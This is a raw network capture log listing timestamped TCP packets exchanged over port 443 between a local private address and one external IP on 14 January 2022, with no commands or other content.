Jan 14, 2022 20:24:00.033602953 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.033626080 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.053358078 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.053416967 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.053497076 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.053515911 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.053527117 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.053618908 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.054234028 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.054276943 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.054327011 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.054338932 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.054379940 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.054402113 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.054406881 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.054429054 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.054467916 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.054490089 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.054537058 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.054548979 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.054574966 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.054933071 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.054972887 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.055017948 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.055027962 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.055044889 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.055083990 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.055315018 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.055351019 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.055397034 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.055404902 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.055418968 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.055444956 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.056021929 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.056061983 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.056107998 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.056118965 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.056158066 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.056170940 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.056440115 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.056480885 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.056512117 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.056520939 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.056548119 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.056569099 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.076736927 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.076782942 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.076853991 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.076870918 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.076906919 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.076935053 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.077524900 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.077569008 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.077620029 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.077630997 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.077694893 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.078191996 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.078233957 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.078273058 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.078282118 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.078310013 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.078330994 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.078917980 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.078963041 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.079021931 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.079031944 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.079092979 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.079121113 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.079159975 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.079195976 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.079204082 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.079217911 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.079242945 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.079641104 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.079687119 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.079714060 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.079725027 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.079755068 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.079773903 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.080183983 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.080228090 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.080262899 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.080271959 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.080300093 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.080318928 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.080480099 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.080519915 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.080564022 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.080578089 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.080595970 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.080620050 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.100905895 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.100940943 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.101064920 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.101079941 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.101120949 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.101150036 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.101372957 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.101394892 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.101458073 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.101469040 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.101501942 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.101533890 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.101934910 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.101957083 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.102009058 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.102019072 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.102062941 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.102721930 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.102742910 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.102798939 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.102807999 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.102842093 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.102854013 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.102953911 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.102979898 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.103029013 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.103038073 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.103060961 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.103085995 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.103274107 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.103297949 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.103363991 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.103374004 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.103486061 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.103507996 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.103682995 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.103704929 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.103758097 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.103765011 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.103792906 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.103828907 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.123512983 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.123553038 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.123730898 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.123749018 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.123828888 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.124389887 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.124422073 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.124502897 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.124512911 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.124551058 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.124557018 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.124577999 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.124583960 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.124598026 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.124614000 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.124653101 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.124679089 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.125349998 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.125381947 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.125453949 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.125467062 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.125480890 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.125509977 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.126436949 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.126467943 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.126579046 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.126590014 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.126636982 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.126782894 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.126811028 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.126878023 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.126888037 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.126923084 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.126946926 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.127201080 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.127228975 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.127285957 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.127294064 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.127343893 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.127347946 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.127593994 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.127621889 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.127690077 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.127696037 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.127728939 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.127753019 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.148484945 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.148545027 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.148644924 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.148663044 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.148718119 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.149172068 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.149256945 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.149261951 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.149282932 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.149333000 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.149350882 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.149399996 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.149441004 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.149477005 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.149487019 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.149501085 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.149527073 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.149559021 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.149595022 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.149621964 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.149631977 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.149657965 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.149687052 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.150170088 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.150212049 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.150253057 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.150263071 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.150310993 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.150319099 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.150496006 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.150536060 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.150566101 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.150576115 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.150612116 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.150631905 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.150892973 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.150930882 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.150960922 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.150969982 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.151005983 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.151019096 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.151288986 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.151329041 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.151356936 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.151366949 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.151391029 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.151420116 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.171974897 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.172044992 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.172102928 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.172115088 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.172149897 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.172163963 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.172205925 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.172251940 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.172278881 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.172287941 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.172313929 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.172334909 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.175677061 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.175715923 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.175801039 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.175803900 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.175820112 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.175843954 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.175846100 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.175892115 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.175901890 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.175913095 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.175944090 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.176126003 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.176157951 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.176193953 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.176201105 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.176235914 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.176265001 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.176357985 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.176388979 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.176425934 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.176434994 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.176471949 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.176496029 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.176647902 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.176676035 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.176718950 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.176724911 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.176759005 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.176783085 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.176971912 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.177011967 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.177072048 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.177079916 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.177123070 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.177378893 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.177409887 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.177469015 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.177476883 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.177514076 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.177545071 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.179315090 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.195163012 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.195194006 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.195369959 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.195394039 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.195439100 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.195648909 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.195677996 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.195729971 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.195740938 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.195755005 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.195781946 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.198973894 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.199007034 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.199095011 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.199110031 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.199160099 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.199498892 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.199527025 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.199598074 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.199609041 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.199632883 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.199659109 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.199959993 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.199995041 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.200035095 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.200046062 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.200068951 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.200128078 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.200557947 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.200587034 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.200634003 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.200644970 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.200668097 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.200690031 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.201155901 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.201183081 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.201235056 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.201245070 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.201258898 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.201294899 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.201622009 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.201651096 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.201697111 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.201710939 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.201723099 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.201755047 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.202095032 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.202122927 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.202167034 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.202177048 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.202230930 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.202259064 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.218556881 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.218594074 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.218630075 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.218652010 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.218668938 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.218693972 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.219070911 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.219103098 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.219139099 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.219151020 CET	443	49878	144.76.136.153	192.168.2.3
